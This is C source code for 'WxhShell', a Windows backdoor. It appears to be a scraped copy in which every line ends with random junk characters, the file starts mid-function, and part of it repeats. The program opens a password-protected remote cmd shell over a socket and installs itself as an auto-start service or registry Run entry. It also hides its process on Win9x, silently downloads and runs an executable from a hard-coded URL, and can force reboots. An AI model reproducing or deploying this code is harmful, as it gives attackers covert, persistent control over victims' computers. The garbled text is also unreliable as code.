    if(Boot(SHUTDOWN)) !/w<F{cl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S*o%#ZJN  
    else { p& > z=Z*  
    closesocket(wsh); v :YW[THre  
    ExitThread(0); ]hBp elKJ  
    } nnU &R  
    break; B=:7N;BT  
    } cD6$C31Y]  
  // 获取shell @x>J-Owd]J  
  case 's': { a9ab>2G?FR  
    CmdShell(wsh); ?PIOuN=  
    closesocket(wsh); K"cN`Kj<*-  
    ExitThread(0); 8"a[W3b  
    break;  \|Qx`-  
  } T j7i#o  
  // 退出 ( _ZOUMe  
  case 'x': { _RFTm.9&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i0($@6Lh  
    CloseIt(wsh); Z[baQO  
    break; )w8h2=l  
    } ,H3~mq]  
  // 离开 xj/ +Z!,9  
  case 'q': { nQc]f*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); yIwAJl7Xf  
    closesocket(wsh); 3|Q:tt'|#  
    WSACleanup(); "8Ud&o  
    exit(1); Cwxy ~.mI  
    break; Fz_SID  
        } fPs' A  
  } "lo:"y(u  
  } h Znq\p~  
{XMF26C#  
  // 提示信息 /++CwRz@Gm  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -d+q+l>0  
} Qwn/ ,  
  } 7_WD)Y2yS  
v1yNVs \}  
  return; IYq)p /  
} 'IweN  
:XK.A   
// shell模块句柄 nf5Ld"|%9  
int CmdShell(SOCKET sock) Uhc2`r#q  
{ yWa-iHWC  
STARTUPINFO si; y!SElKj  
ZeroMemory(&si,sizeof(si)); igp[cFN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'aQ"&GX@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NhyVX%qt:  
PROCESS_INFORMATION ProcessInfo; m4{F-++dk  
char cmdline[]="cmd"; vdloh ,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [q/=%8qLUA  
  return 0; Kb~s'cTxIO  
} p4;A[2Ot`:  
he0KzwBF  
// 自身启动模式 +B$ o8V  
int StartFromService(void) CPVR  
{ 48CLnyYiF  
typedef struct H/>86GG  
{ ;E /:_DWPD  
  DWORD ExitStatus; k=j--`$8k  
  DWORD PebBaseAddress; hPhNDmL#3  
  DWORD AffinityMask; 9FT;?~,  
  DWORD BasePriority; r5XG$:$8\  
  ULONG UniqueProcessId; Gn+D%5)$I  
  ULONG InheritedFromUniqueProcessId; , ;L  
}   PROCESS_BASIC_INFORMATION; k=2]@K$%  
*hVW >{a  
PROCNTQSIP NtQueryInformationProcess; l BS!=/7  
;7"}I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^w.x~#zI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *ktM<N58  
|?n=~21"1O  
  HANDLE             hProcess; utxT$1iJn~  
  PROCESS_BASIC_INFORMATION pbi; r>1M&Y=<  
[?mDTD8zU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y,OSQBgk  
  if(NULL == hInst ) return 0; P g.PD,&U  
6LRI~*F=3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m!3L/UZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V3fd]rIP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i $H aE)qZ  
6R V]9  
  if (!NtQueryInformationProcess) return 0; & IVwm"  
$ Scb8<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7u]0dHj  
  if(!hProcess) return 0; t>QAM6[  
aJlSIw*Q,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Be+CV">2  
$E@L{5Yt  
  CloseHandle(hProcess); |'WaBy1  
+U9Gj#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DTrS9j?z  
if(hProcess==NULL) return 0; n*G[ZW*Uc  
S?Q4u!FC  
HMODULE hMod; _4iTP$7[  
char procName[255]; %-!ruc"}  
unsigned long cbNeeded; TSXa#SKp  
|?6r&bT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); il `O*6-  
XQ&iV7   
  CloseHandle(hProcess); /w0l7N  
O;c;>x_dA  
if(strstr(procName,"services")) return 1; // 以服务启动 Ym+k \h  
m RB-}  
  return 0; // 注册表启动 @BWroNg{  
} n<6p0w  
1J<Wth{  
// 主模块 A6Ttx{]  
int StartWxhshell(LPSTR lpCmdLine) w*[i!i  
{ "/Fp_g6#:  
  SOCKET wsl; _V6jn~N  
BOOL val=TRUE; `An`"$z  
  int port=0; 8FyJo.vr(  
  struct sockaddr_in door; %m]9";   
} 5i0R  
  if(wscfg.ws_autoins) Install(); y#8| @?  
6>ZUx}vYj  
port=atoi(lpCmdLine); 9\RSJGx6  
X96>N{C*>  
if(port<=0) port=wscfg.ws_port; kD:O$8[J8  
S0nBX"$u  
  WSADATA data; aObWd5~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]Y Q[ )  
>=-w2&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   vwDnz /-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k`Nc<nN8  
  door.sin_family = AF_INET; ;Pik},  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l-4T Tg  
  door.sin_port = htons(port); PV vNu5k  
'"LrGvkZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bFk >IifN  
closesocket(wsl); j(mbUB*  
return 1; `#B|l+baq  
} X=)Ue  
"M5P-l$p}  
  if(listen(wsl,2) == INVALID_SOCKET) { MkZm =Sf  
closesocket(wsl); w!o[pvyR$  
return 1; 8X`iMFa.P  
} ez_qG=J .  
  Wxhshell(wsl); e`ti*1]q  
  WSACleanup(); f3Ior.n(  
P.mz$M  
return 0; -o*IJQ_  
T8E=}!68w}  
} d{2+> >d  
1P(rgn:8e  
// 以NT服务方式启动 rLO1Sv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wjW>#DE  
{ so}(*E&(a  
DWORD   status = 0; 6j{9\ R  
  DWORD   specificError = 0xfffffff; pMM,ox"  
{vh}f+2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; FOiwB^$ >  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2iHD$tw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2= 'gC|&s6  
  serviceStatus.dwWin32ExitCode     = 0; ;n_|t/=  
  serviceStatus.dwServiceSpecificExitCode = 0; ,2T&33m  
  serviceStatus.dwCheckPoint       = 0; U8L%=/N>B  
  serviceStatus.dwWaitHint       = 0; DJ;il)^  
x>vC;E${"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8 hx4N  
  if (hServiceStatusHandle==0) return; J'9hzag  
g*69TqO^  
status = GetLastError(); v'uWmL7C  
  if (status!=NO_ERROR) j:K>3?   
{ eAN]*: ]g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s^+h>  
    serviceStatus.dwCheckPoint       = 0; P F#+G;q;  
    serviceStatus.dwWaitHint       = 0; 4E]w4BG)  
    serviceStatus.dwWin32ExitCode     = status; ]s-;*o\H  
    serviceStatus.dwServiceSpecificExitCode = specificError; x? 3U3\W  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W1S7%6y_1  
    return; 8P5yaS_  
  } [ sJ f)<  
P3X;&iT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; '<_nL8A^  
  serviceStatus.dwCheckPoint       = 0; `%}SK~<R  
  serviceStatus.dwWaitHint       = 0; i356m9j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;Z|X` <6g  
} Jm&7&si7  
`Yn:fL7S  
// 处理NT服务事件,比如:启动、停止 ek!x:G$'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9qS~-'&q#  
{ P6'Oe|+'  
switch(fdwControl) FrBoE#  
{ %suSZw`  
case SERVICE_CONTROL_STOP: - ;1'{v  
  serviceStatus.dwWin32ExitCode = 0; o?(({HH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; tE3#Uq  
  serviceStatus.dwCheckPoint   = 0; BM5+;h !  
  serviceStatus.dwWaitHint     = 0; i]&C=X  
  { ) =-$>75Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~< %%n'xmm  
  } dbM~41C6  
  return; =K'X:UM  
case SERVICE_CONTROL_PAUSE: 5(RFk Zn4[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~+w'b7T,=  
  break; ?WPuTPw{  
case SERVICE_CONTROL_CONTINUE: SQ%B"1&$D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }jHS  
  break; qv\n]M_&  
case SERVICE_CONTROL_INTERROGATE: V4I5PPz~  
  break; 6.%M:j0 0E  
}; (;DnL|"'8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZL/iX~}a'  
} |a9d]^  
N$>.V7H&  
// 标准应用程序主函数 |R$V[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )!SA]>-  
{ \Ps}1)wT  
kaM=Fk=t  
// 获取操作系统版本 SSG57N-T  
OsIsNt=GetOsVer(); *_feD+rq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %oPW`r  
?VCdT`6=  
  // 从命令行安装 MLD1%* &0  
  if(strpbrk(lpCmdLine,"iI")) Install(); JX4uH>6  
"&h{+DHS  
  // 下载执行文件 Fg` P@hC  
if(wscfg.ws_downexe) { Xwz9E!m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9*s''=  
  WinExec(wscfg.ws_filenam,SW_HIDE); bO8>w9MF  
} !O|d,)$q  
a,eR'L<"*-  
if(!OsIsNt) { z~Zu >Q1u[  
// 如果时win9x,隐藏进程并且设置为注册表启动 F)fCj^ zL  
HideProc(); K]c|v i_D  
StartWxhshell(lpCmdLine); +yC]f b  
} iczJXA+  
else 117`=9F  
  if(StartFromService()) T''PzY!Qf  
  // 以服务方式启动 sKE7U>mz|  
  StartServiceCtrlDispatcher(DispatchTable); m@(8-_  
else wWq(|"  
  // 普通方式启动 GFA D  
  StartWxhshell(lpCmdLine); wY$'KmNW  
!+bLh W`  
return 0; v67utISNI  
} D1xIRyc/  
~vL7$-:  
Tt^PiaS!  
}uZtAH|  
=========================================== vI84= n  
A=N &(k  
+-%&,>R  
#:q$sKQ_$  
cx+w_D9b!  
i sK_t*  
" ,Z3 (`ftC  
z2.9l?"rfQ  
#include <stdio.h> K[,d9j`^  
#include <string.h> nky%Eb[\  
#include <windows.h> , ZisJksk  
#include <winsock2.h> ~ShoU m[  
#include <winsvc.h> 62-,!N 1-  
#include <urlmon.h> M53{e;.kN  
aLo^f= S  
#pragma comment (lib, "Ws2_32.lib") h4iz(*  
#pragma comment (lib, "urlmon.lib") vHydqFi9  
s%cfJe_k  
#define MAX_USER   100 // 最大客户端连接数 # dA-dN  
#define BUF_SOCK   200 // sock buffer )2pOCAjL2  
#define KEY_BUFF   255 // 输入 buffer ;#i$5L!*B  
bmid;X|  
#define REBOOT     0   // 重启 vk1E!T9X  
#define SHUTDOWN   1   // 关机 sxK|0i}6  
`] fud{  
#define DEF_PORT   5000 // 监听端口 {s{ bnU  
4uX|2nJ2!;  
#define REG_LEN     16   // 注册表键长度 uc~/l4~N  
#define SVC_LEN     80   // NT服务名长度 `GpOS_;  
`SfBT1#5G  
// 从dll定义API V7gv@<1<y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Nn/f*GDvK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n5NwiSE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Au\j6mB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j@o \d%.'!  
o5(~nQ  
// wxhshell配置信息 2{Johqf  
struct WSCFG { hI#1Ybl  
  int ws_port;         // 监听端口 Iq?#kV9)  
  char ws_passstr[REG_LEN]; // 口令 1;E^3j$  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2zPO3xL,  
  char ws_regname[REG_LEN]; // 注册表键名 !H^e$BA  
  char ws_svcname[REG_LEN]; // 服务名 E9bc pup  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @ L=dcO{r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3UNmUDl[~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 />dH\KvN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no n5U-D0/Q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #,5v#| u|7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3 q^^Os  
$&ZN%o3  
}; |Bhj L,  
sQ aP:@  
// default Wxhshell configuration }~O`(mnD}K  
struct WSCFG wscfg={DEF_PORT, /l b"g_  
    "xuhuanlingzhe", %2ZWSQD  
    1, oD8X]R, H  
    "Wxhshell", DQ`\HY  
    "Wxhshell", t,IQ|B&0  
            "WxhShell Service", Q~-MB]'  
    "Wrsky Windows CmdShell Service", c?t,,\o(}  
    "Please Input Your Password: ", INF}~DN]  
  1, T\OpPSYbl  
  "http://www.wrsky.com/wxhshell.exe", .Gcs/PN   
  "Wxhshell.exe" wgcKeTD9  
    }; -R BH5+SS2  
o/\f+iz7  
// 消息定义模块 2S@aG%-)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E5.@=U,c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; +6;1.5Tc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N#&/d nV  
char *msg_ws_ext="\n\rExit."; ;a9`z+ K  
char *msg_ws_end="\n\rQuit."; )+dd  
char *msg_ws_boot="\n\rReboot..."; Z~Vups#+f  
char *msg_ws_poff="\n\rShutdown..."; aTi,gJ;*  
char *msg_ws_down="\n\rSave to "; ;0JK>c ]#  
"yG*Kh7ur  
char *msg_ws_err="\n\rErr!"; F- l!i/  
char *msg_ws_ok="\n\rOK!"; EF5:$#  
<c_'(   
char ExeFile[MAX_PATH]; #7BX,jvn>  
int nUser = 0; BW{&A&j  
HANDLE handles[MAX_USER]; lr~c w#h*  
int OsIsNt; XM:Y(#?l  
@mm~i~~KA  
SERVICE_STATUS       serviceStatus; f~Ve7   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7 P/1'f3  
Y<)9TU:D!  
// 函数声明 "3e1 7dsY  
int Install(void); `S:LuU8e  
int Uninstall(void); <-s5 ;xwtS  
int DownloadFile(char *sURL, SOCKET wsh); x2$Y"b?vz  
int Boot(int flag); d45mKla(V  
void HideProc(void); `\M}~  
int GetOsVer(void); >>R,P Ow-  
int Wxhshell(SOCKET wsl); 5o2vj8::  
void TalkWithClient(void *cs); @z<IsAE  
int CmdShell(SOCKET sock); Tp&7CNl|  
int StartFromService(void); Cw,;>>Y_b<  
int StartWxhshell(LPSTR lpCmdLine); [e?vqm .  
+xojnv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Og/@w&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }e8u p*#me  
bTJ l  
// 数据结构和表定义 BU=;rz!;  
SERVICE_TABLE_ENTRY DispatchTable[] = -;W`0 k^  
{ p$!Q?&AV/  
{wscfg.ws_svcname, NTServiceMain}, xt=ELzu$  
{NULL, NULL} [*W l=  
}; #8sv*8&  
m={TBV,L  
// 自我安装 rlP?Uh  
int Install(void) u[+/WFH  
{ y*7<tj.`b0  
  char svExeFile[MAX_PATH]; Tt+E?C%Y  
  HKEY key; /6Olq6V  
  strcpy(svExeFile,ExeFile); qg9VK'3o  
>8=rD  
// 如果是win9x系统,修改注册表设为自启动 7>!Rg~M  
if(!OsIsNt) { 3R)_'!R[B  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -YJ4-]Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MGfIA?u  
  RegCloseKey(key); *Fu;sR2y%:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ew>lk9La(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5sI9GC  
  RegCloseKey(key); NhF<2[mt  
  return 0; -EIfuh  
    } hjx= ?  
  } hB??~>i3  
} <EM'|IR?  
else { T%[!m5   
f0]`TjY  
// 如果是NT以上系统,安装为系统服务 >NjgLJh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); eiwPp9[08  
if (schSCManager!=0) Dh.pH1ZY3n  
{ ,Uu#41ZOKL  
  SC_HANDLE schService = CreateService I_3{i`g  
  ( z\r29IRh  
  schSCManager, 3U&r K)F  
  wscfg.ws_svcname, a n,$Z,G#K  
  wscfg.ws_svcdisp, qY$]^gS  
  SERVICE_ALL_ACCESS, G[ gfD\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +?bjP6w_g  
  SERVICE_AUTO_START, p$1y8Zbor  
  SERVICE_ERROR_NORMAL, idSc#n22  
  svExeFile, NW`L6wgl  
  NULL, c'&\[b(m  
  NULL, 0S$6j-"  
  NULL, qJYEsI2M  
  NULL, ,<O|Iis  
  NULL -cL wjI  
  ); Tv /?-`Y  
  if (schService!=0) `| f1^C^  
  { 6<m9guv  
  CloseServiceHandle(schService); ql(~3/kA_  
  CloseServiceHandle(schSCManager); )F65sV{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PIZK*Lop  
  strcat(svExeFile,wscfg.ws_svcname); =v49[i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9MUg/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }E&48$0h  
  RegCloseKey(key); (Qj;B)  
  return 0; 8 GW0w  
    } WI\jm&H r  
  } #kRt\Fzq  
  CloseServiceHandle(schSCManager); *TC#|5  
} JE ''Th}  
} lOu&4Kq{g  
'-M9v3itC  
return 1; +~za6  
} `*w!S8}m;  
UB3hC`N\  
// 自我卸载 y?ypRCgO.u  
int Uninstall(void) ).8NZ Aj  
{ N.dcQQ_iS  
  HKEY key; v9XevLs  
OXD*ZKi8  
if(!OsIsNt) { 'QQa :3<x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DQ9}( '^  
  RegDeleteValue(key,wscfg.ws_regname); \.Z /  
  RegCloseKey(key); ?#Y1E~N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y!/:1BHlm  
  RegDeleteValue(key,wscfg.ws_regname); mt}3/d  
  RegCloseKey(key); JGQ)/(  
  return 0; Fr)6<9%xVm  
  } @H61^K<  
} cg_j.=M-  
} g![?P"i^t  
else { SshjUNx  
g-DFcwO,V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ChRCsu~  
if (schSCManager!=0) 8om)A0S  
{ sPRo=LB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ; ~#uH7k  
  if (schService!=0) Dn@Sjsj>  
  { i9v|*ZM"  
  if(DeleteService(schService)!=0) { wPl9%  
  CloseServiceHandle(schService); Pv3qN{265  
  CloseServiceHandle(schSCManager); }T&~DVM  
  return 0; XU6SYC"t%~  
  } 'pC51}[A{^  
  CloseServiceHandle(schService); Hgbrlh  
  } 1-}M5]Y  
  CloseServiceHandle(schSCManager); #BwOWra  
} H-t"Z}  
} y;=/S?L.:  
%6E:SI 4  
return 1; Tzr'3m_  
} N7-LgP  
%:yVjb,Yf  
// 从指定url下载文件 5E0dX3-  
int DownloadFile(char *sURL, SOCKET wsh) \T {<{<n  
{ jO}<W1qy  
  HRESULT hr; PE<(eIr  
char seps[]= "/"; |[X-i["y  
char *token; bFsJqA.A  
char *file; :Hj #1-U  
char myURL[MAX_PATH]; x,UP7=6  
char myFILE[MAX_PATH]; ?JMy  
sZI$t L<j  
strcpy(myURL,sURL); #Q$+AdY|  
  token=strtok(myURL,seps); t)hi j&wzu  
  while(token!=NULL) >r.W \  
  { Yz ? 8n  
    file=token; "=!sZO?3  
  token=strtok(NULL,seps); m.ejGm?  
  } I 8VCR8q  
y=LN| vkQ  
GetCurrentDirectory(MAX_PATH,myFILE); g)nT]+&  
strcat(myFILE, "\\"); V;u FYt; E  
strcat(myFILE, file); qqSFy>`P  
  send(wsh,myFILE,strlen(myFILE),0); yny1i9 y  
send(wsh,"...",3,0); t>h:s3c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `_!R;f  
  if(hr==S_OK) gbziEjRe  
return 0; PLRMW 2  
else ="de+S8W  
return 1; M=Y['w x  
3|=L1Pw#  
} - *v)sP"@  
CvRO'  
// 系统电源模块 6Cgc-KNbk  
int Boot(int flag) h6Cqc}P  
{ uMX\Y;N  
  HANDLE hToken; ^y[- e9O|  
  TOKEN_PRIVILEGES tkp; |>KOlwh5n  
}ZJJqJ`*e  
  if(OsIsNt) { m^>v~Q~~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ##nC@h@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z6 E_Y?  
    tkp.PrivilegeCount = 1; SLda>I(p7&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J=b 'b%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #~[{*[B+  
if(flag==REBOOT) { 3,1HD_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1u~a*lO}  
  return 0; $'3'[Nr(;t  
} ~L:H]_8F l  
else { 8=OpX,t(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {Mc;B9W  
  return 0; jmF)iDvjuZ  
} .yB{+  
  } <[?ZpG  
  else { 1AQy 8n*  
if(flag==REBOOT) { -|I_aOC@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wK0],,RN,h  
  return 0; ATjE8!gO!  
} K9ek  
else { Ll, U>yo  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .mplML0oW  
  return 0; $E}N`B7  
} J~AmRo0!k  
} 9# #(B  
5]K2to)>`  
return 1; Q9i[?=F:z  
} Fz' s\  
0+/ew8~$  
// win9x进程隐藏模块 o{3>n" \w3  
void HideProc(void) *W2o$_Hs  
{ OR}+) n{  
"O~kIT?/v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 49YN@ PXC  
  if ( hKernel != NULL ) klnk{R.>|  
  { KxDp+]N]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g([M hf#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Re*_Dt=r  
    FreeLibrary(hKernel); &0]5zQ  
  } }ld^zyL  
`1uGU[{x  
return; Nh\o39=  
} [Y.=bfV!  
z0Z1J8Qq6.  
// 获取操作系统版本 U$ ;UW3-  
int GetOsVer(void) H4$f+  
{ k U0.:Gcc  
  OSVERSIONINFO winfo; ;=WwJ Np~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UG[r /w5(F  
  GetVersionEx(&winfo); 3-'3w,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j4u ["O3  
  return 1; =.w~qL  
  else 'V &Tlw|  
  return 0; i!gS]?*DH  
} AH_qZTv0{Q  
XlnSh<e  
// 客户端句柄模块 Mmg~Fn  
int Wxhshell(SOCKET wsl) BGHZL~  
{ P](8Qrl  
  SOCKET wsh; 20}w . V  
  struct sockaddr_in client; Z{gm4YV  
  DWORD myID; _07$TC1  
%0 i)l|  
  while(nUser<MAX_USER) |>Fz:b d  
{ ~@(C+3,  
  int nSize=sizeof(client); /nn~&OU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uP(t+}dQ+3  
  if(wsh==INVALID_SOCKET) return 1; q;UGiB^(A  
tzv4uD]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dMCoN8W  
if(handles[nUser]==0) :(wFNK/0{  
  closesocket(wsh); jOzi89  
else uB#U( jl  
  nUser++; WA0D#yuJ/  
  } pb)kN%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `'&mO9,<-  
SN]g4}K-  
  return 0; &AWrM{e  
} +vxOCN4}v  
x/wgD'?  
// 关闭 socket DR,7rT{$  
void CloseIt(SOCKET wsh) EW1,&H  
{ h(<>s#=E  
closesocket(wsh); #9Ect@?N0  
nUser--; 0{ ~2mggh  
ExitThread(0); T\g+w\N  
} {dm>]@"S  
j/fniyJ)  
// 客户端请求句柄 x)GheM^  
void TalkWithClient(void *cs) GM?s8yZ<  
{ OM{^F=Ap  
Y;%LwDC  
  SOCKET wsh=(SOCKET)cs; wDGb h=  
  char pwd[SVC_LEN]; _U-`/r o  
  char cmd[KEY_BUFF]; MfHOn YV  
char chr[1]; `GdH ,:S>  
int i,j; {-8Nq`w  
8Znr1=1   
  while (nUser < MAX_USER) { Tjq1[Wq  
*OznZIn  
if(wscfg.ws_passstr) { q?dd5JzZy,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (RV#piM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y0T:%  
  //ZeroMemory(pwd,KEY_BUFF); ()bQmNqmO=  
      i=0; ..X_nF  
  while(i<SVC_LEN) { K) fKL   
<kPNe>-f  
  // 设置超时 @uCi0Pt  
  fd_set FdRead; .P aDR |!  
  struct timeval TimeOut; T3@2e0u )  
  FD_ZERO(&FdRead); ?]$<Ufr  
  FD_SET(wsh,&FdRead); \fiy[W/k  
  TimeOut.tv_sec=8; hxH6Ii]\  
  TimeOut.tv_usec=0; 6PYt>r&TO  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H-+U^@w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $rmxwxz&W:  
5X=1a*2']  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3qf#NJN}  
  pwd=chr[0]; Eu'E;*- f  
  if(chr[0]==0xd || chr[0]==0xa) { vj%"x/TP  
  pwd=0; +]A,fmI.  
  break; ^tGAJ_b 79  
  } @n?"*B  
  i++; W&)f#/M8  
    } 7PMz6  
(ct1i>g  
  // 如果是非法用户,关闭 socket $<nRW*d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oo\^}jb  
}  x _>1x#  
K~,!IU_QG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x-k-Pd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3 0[Xkz  
t3Gy *B  
while(1) { jmwN1Se>  
rIPfO'T?  
  ZeroMemory(cmd,KEY_BUFF); :38h)9>RK  
@i!+Z  
      // 自动支持客户端 telnet标准   Awxm[:r>^  
  j=0; X^N6s"2  
  while(j<KEY_BUFF) { klnNBo!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JI]Lz1i  
  cmd[j]=chr[0]; X-(( [A  
  if(chr[0]==0xa || chr[0]==0xd) { NMK$$0U  
  cmd[j]=0; 'Xwv,  
  break; m`-:j"]b$  
  } y/Y}C.IWp)  
  j++; I F6$@Q  
    } S8dfe~|7:  
%C,zR&]F  
  // 下载文件 "zJxWXI  
  if(strstr(cmd,"http://")) { JseKqJ?g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S?JCi =  
  if(DownloadFile(cmd,wsh)) ~/K&=xE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); iXo; e  
  else ?wG  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zqm%qm:  
  } Al*=%nY  
